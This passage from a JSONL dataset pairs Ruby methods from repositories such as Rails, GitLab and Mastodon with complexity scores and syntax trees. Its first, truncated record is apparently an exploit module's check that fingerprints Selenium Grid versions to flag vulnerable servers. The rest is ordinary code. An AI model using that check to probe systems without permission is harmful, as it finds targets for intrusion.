CheckCode::Appears(\"Version #{version} detected, which is vulnerable.\")\n  end","complexity_score":79.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"v4res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"status\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v4res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v4res\"]},\"get_json_document\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v4res\"]},\"get_json_document\"]},\"include?\",{\"type\":\"str\",\"children\":[\"value\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v4res\"]},\"get_json_document\"]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]},\"include?\",{\"type\":\"str\",\"children\":[\"message\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v4res\"]},\"get_json_document\"]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"message\"]}]},\"downcase\"]},\"include?\",{\"type\":\"str\",\"children\":[\"selenium grid\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\",{\"type\":\"str\",\"children\":[\"Selenium Grid version 4.x detected.\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"v3res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v3res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Unexpected server reply.\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"js_code\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v3res\"]},\"get_html_document\"]},\"css\",{\"type\":\"str\",\"children\":[\"script\"]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"script\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"script\"]},\"text\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"var json = Object.freeze\\\\('(.*?)'\\\\);\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js_code\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Unable to determine the version.\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"json_str\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js_code\"]},\"text\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"var json = Object.freeze\\\\('(.*?)'\\\\);\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"json_str\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Unable to determine the version.\"]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_data\"]},\"include?\",{\"type\":\"str\",\"children\":[\"version\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"version\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Unable to determine the version.\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"version\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"4.0.0-alpha-7\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"4.0.1\"]}]},\"<=\",{\"type\":\"lvar\",\"children\":[\"version\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" detected, which is not vulnerable.\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" detected, which is vulnerable.\"]}]}]}]}]}","id":"7bdd5fd4-4896-4529-a59e-cbb0bfe67357"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/internal_events/cli/metric.rb","start_line":143,"raw_source":"def unique_ids\n      prefix = [\n        operator.reference(identifier),\n        actions.sort.join('+'),\n        'filter-',\n        filtered?\n      ].join('_')\n\n      time_frame.value.map { |t| prefix + t }\n    end","complexity_score":17.1,"ast_json":"{\"type\":\"def\",\"children\":[\"unique_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"prefix\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"operator\"]},\"reference\",{\"type\":\"send\",\"children\":[null,\"identifier\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"actions\"]},\"sort\"]},\"join\",{\"type\":\"str\",\"children\":[\"+\"]}]},{\"type\":\"str\",\"children\":[\"filter-\"]},{\"type\":\"send\",\"children\":[null,\"filtered?\"]}]},\"join\",{\"type\":\"str\",\"children\":[\"_\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"time_frame\"]},\"value\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"t\"]}]}]}]}]}","id":"ec40b285-ea20-4473-83d7-ab71aed55865"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/ems_refresh_mixin.rb","start_line":20,"raw_source":"def refresh_internal(ems_id_or_object_ids, ems_ref, queue:)\n      targets =\n        if ems_ref.nil?\n          Array(ems_id_or_object_ids).map { |id| [base_class, id] }\n        else\n          ems = ExtManagementSystem.find_by(:id => ems_id_or_object_ids)\n\n          raise _(\"No Provider defined\") if ems.nil?\n          raise _(\"No Provider credentials defined\") unless ems.has_credentials?\n          raise _(\"Provider failed last authentication check\") unless ems.authentication_status_ok?\n\n          refresh_target(ems, ems_ref)\n        end\n\n      refresh_meth = queue ? :queue_refresh : :refresh\n\n      EmsRefresh.public_send(refresh_meth, targets)\n    end","complexity_score":29.9,"ast_json":"{\"type\":\"def\",\"children\":[\"refresh_internal\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ems_id_or_object_ids\"]},{\"type\":\"arg\",\"children\":[\"ems_ref\"]},{\"type\":\"kwarg\",\"children\":[\"queue\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"targets\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems_ref\"]},\"nil?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"ems_id_or_object_ids\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_class\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ems\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExtManagementSystem\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"ems_id_or_object_ids\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"No Provider defined\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"has_credentials?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"No Provider credentials defined\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"authentication_status_ok?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Provider failed last authentication check\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"refresh_target\",{\"type\":\"lvar\",\"children\":[\"ems\"]},{\"type\":\"lvar\",\"children\":[\"ems_ref\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"refresh_meth\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queue\"]},{\"type\":\"sym\",\"children\":[\"queue_refresh\"]},{\"type\":\"sym\",\"children\":[\"refresh\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmsRefresh\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"refresh_meth\"]},{\"type\":\"lvar\",\"children\":[\"targets\"]}]}]}]}","id":"be63d96a-017f-4ac3-9eab-6853a7edcebf"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user.rb","start_line":919,"raw_source":"def password=(pw)\n    # special case for passwordless accounts\n    return if pw.blank?\n\n    if user_password\n      user_password.password = pw\n    else\n      build_user_password(password: pw)\n    end\n    @raw_password = pw # still required to maintain compatibility with usage of password-related User interface\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"password=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pw\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pw\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_password\"]},\"password=\",{\"type\":\"lvar\",\"children\":[\"pw\"]}]},{\"type\":\"send\",\"children\":[null,\"build_user_password\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"pw\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@raw_password\",{\"type\":\"lvar\",\"children\":[\"pw\"]}]}]}]}","id":"f2a64fb6-a6ef-4c28-a405-65b6a508260d"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/notifications/create_from_model_service.rb","start_line":200,"raw_source":"def settings_of_commented\n    return NotificationSetting.none unless journal.notes?\n\n    project_applicable_settings(User.all,\n                                project,\n                                NotificationSetting::WORK_PACKAGE_COMMENTED)\n  end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"settings_of_commented\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"journal\"]},\"notes?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotificationSetting\"]},\"none\"]}]}]},{\"type\":\"send\",\"children\":[null,\"project_applicable_settings\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"all\"]},{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotificationSetting\"]},\"WORK_PACKAGE_COMMENTED\"]}]}]}]}","id":"c8c703f0-f931-4a89-96e2-6c34bd0068d7"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/util.rb","start_line":310,"raw_source":"def node_type? exp, *types\n    exp.is_a? Sexp and types.include? exp.node_type\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"node_type?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]},{\"type\":\"restarg\",\"children\":[\"types\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Sexp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"types\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"node_type\"]}]}]}]}","id":"536e61cd-c4e2-413b-9be2-6a8e324d3f6d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/autosave_association_test.rb","start_line":1525,"raw_source":"def test_should_be_valid_on_habtm_if_persisted_and_unchanged\n    parrot = @pirate.parrots.create!(name: \"parrots_1\")\n    parrot.update_column(:name, \"\")\n    parrot.reload\n    assert_not_predicate parrot, :valid?\n\n    new_pirate = Pirate.new(catchphrase: \"Arr\")\n    new_pirate.parrots = @pirate.parrots\n    new_pirate.save!\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_be_valid_on_habtm_if_persisted_and_unchanged\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parrot\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"parrots\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"parrots_1\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parrot\"]},\"update_column\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parrot\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"parrot\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"new_pirate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pirate\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"catchphrase\"]},{\"type\":\"str\",\"children\":[\"Arr\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_pirate\"]},\"parrots=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"parrots\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_pirate\"]},\"save!\"]}]}]}","id":"96b7cd44-bee3-46b2-b624-6447c5c47d77"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/fan_out_on_write_service.rb","start_line":110,"raw_source":"def deliver_to_all_followers!\n    @account.followers_for_local_distribution.select(:id).reorder(nil).find_in_batches do |followers|\n      FeedInsertWorker.push_bulk(followers) do |follower|\n        [@status.id, follower.id, 'home', { 'update' => update? }]\n      end\n    end\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"deliver_to_all_followers!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"followers_for_local_distribution\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"reorder\",{\"type\":\"nil\",\"children\":[]}]},\"find_in_batches\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"followers\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FeedInsertWorker\"]},\"push_bulk\",{\"type\":\"lvar\",\"children\":[\"followers\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"follower\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"follower\"]},\"id\"]},{\"type\":\"str\",\"children\":[\"home\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"update\"]},{\"type\":\"send\",\"children\":[null,\"update?\"]}]}]}]}]}]}]}","id":"be39ef85-e3aa-4cda-a455-7f51334b7907"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/test_case.rb","start_line":320,"raw_source":"def view_rendered?(view, expected_locals)\n          locals_for(view).any? do |actual_locals|\n            expected_locals.all? { |key, value| value == actual_locals[key] }\n          end\n        end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"view_rendered?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"view\"]},{\"type\":\"arg\",\"children\":[\"expected_locals\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"locals_for\",{\"type\":\"lvar\",\"children\":[\"view\"]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"actual_locals\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_locals\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual_locals\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}]}","id":"a45a01ec-4905-4ecd-8541-d3a646a1bc3d"}
{"repo_name":"rails","file_path":"./repos/rails/actiontext/lib/action_text/content.rb","start_line":77,"raw_source":"def gallery_attachments\n      @gallery_attachments ||= attachment_galleries.flat_map(&:attachments)\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"gallery_attachments\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@gallery_attachments\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attachment_galleries\"]},\"flat_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"attachments\"]}]}]}]}]}","id":"44451291-f827-4c19-949d-465c347e3268"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/project/tree_restorer.rb","start_line":92,"raw_source":"def import_failure_service\n          @import_failure_service ||= ImportFailureService.new(@project)\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"import_failure_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@import_failure_service\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ImportFailureService\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]}]}","id":"37640380-21c9-46eb-bc35-aa6786fce955"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/rake_test.rb","start_line":283,"raw_source":"def test_rake_dump_structure_should_be_called_twice_when_migrate_redo\n      add_to_config \"config.active_record.schema_format = :sql\"\n\n      rails \"g\", \"model\", \"post\", \"title:string\"\n      output = rails(\"db:migrate:redo\", \"--trace\")\n\n      # expect only Invoke db:structure:dump (first_time)\n      assert_no_match(/^\\*\\* Invoke db:structure:dump\\s+$/, output)\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rake_dump_structure_should_be_called_twice_when_migrate_redo\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_to_config\",{\"type\":\"str\",\"children\":[\"config.active_record.schema_format = :sql\"]}]},{\"type\":\"send\",\"children\":[null,\"rails\",{\"type\":\"str\",\"children\":[\"g\"]},{\"type\":\"str\",\"children\":[\"model\"]},{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"title:string\"]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"rails\",{\"type\":\"str\",\"children\":[\"db:migrate:redo\"]},{\"type\":\"str\",\"children\":[\"--trace\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\*\\\\* Invoke db:structure:dump\\\\s+$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"fa176ab2-a115-4c01-a4ed-826b8639734f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/metric/capture.rb","start_line":35,"raw_source":"def self.alert_capture_threshold(target)\n    target_key = target.class.base_model.to_s.underscore.to_sym\n    minutes_ago(::Settings.performance.capture_threshold_with_alerts[target_key] ||\n                ::Settings.performance.capture_threshold_with_alerts.default)\n  end","complexity_score":19.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"alert_capture_threshold\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target_key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"class\"]},\"base_model\"]},\"to_s\"]},\"underscore\"]},\"to_sym\"]}]},{\"type\":\"send\",\"children\":[null,\"minutes_ago\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},\"performance\"]},\"capture_threshold_with_alerts\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"target_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},\"performance\"]},\"capture_threshold_with_alerts\"]},\"default\"]}]}]}]}]}","id":"be18ff78-0ee7-444b-9eb8-ee7e3e78b5f7"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/acts_as_taggable_on/tag_decorator.rb","start_line":3,"raw_source":"def self.prepended(base)\n      base.include ::Spree::RansackableAttributes\n      base.whitelisted_ransackable_attributes = %w[id name]\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"prepended\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"include\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Spree\"]},\"RansackableAttributes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"whitelisted_ransackable_attributes=\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"name\"]}]}]}]}]}","id":"5e912977-cb0d-4e7a-b598-38827b5393ce"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/lookup_context.rb","start_line":232,"raw_source":"def initialize(view_paths, details = {}, prefixes = [])\n      @details_key = nil\n      @digest_cache = nil\n      @cache = true\n      @prefixes = prefixes\n\n      @details = initialize_details({}, details)\n      @view_paths = build_view_paths(view_paths)\n    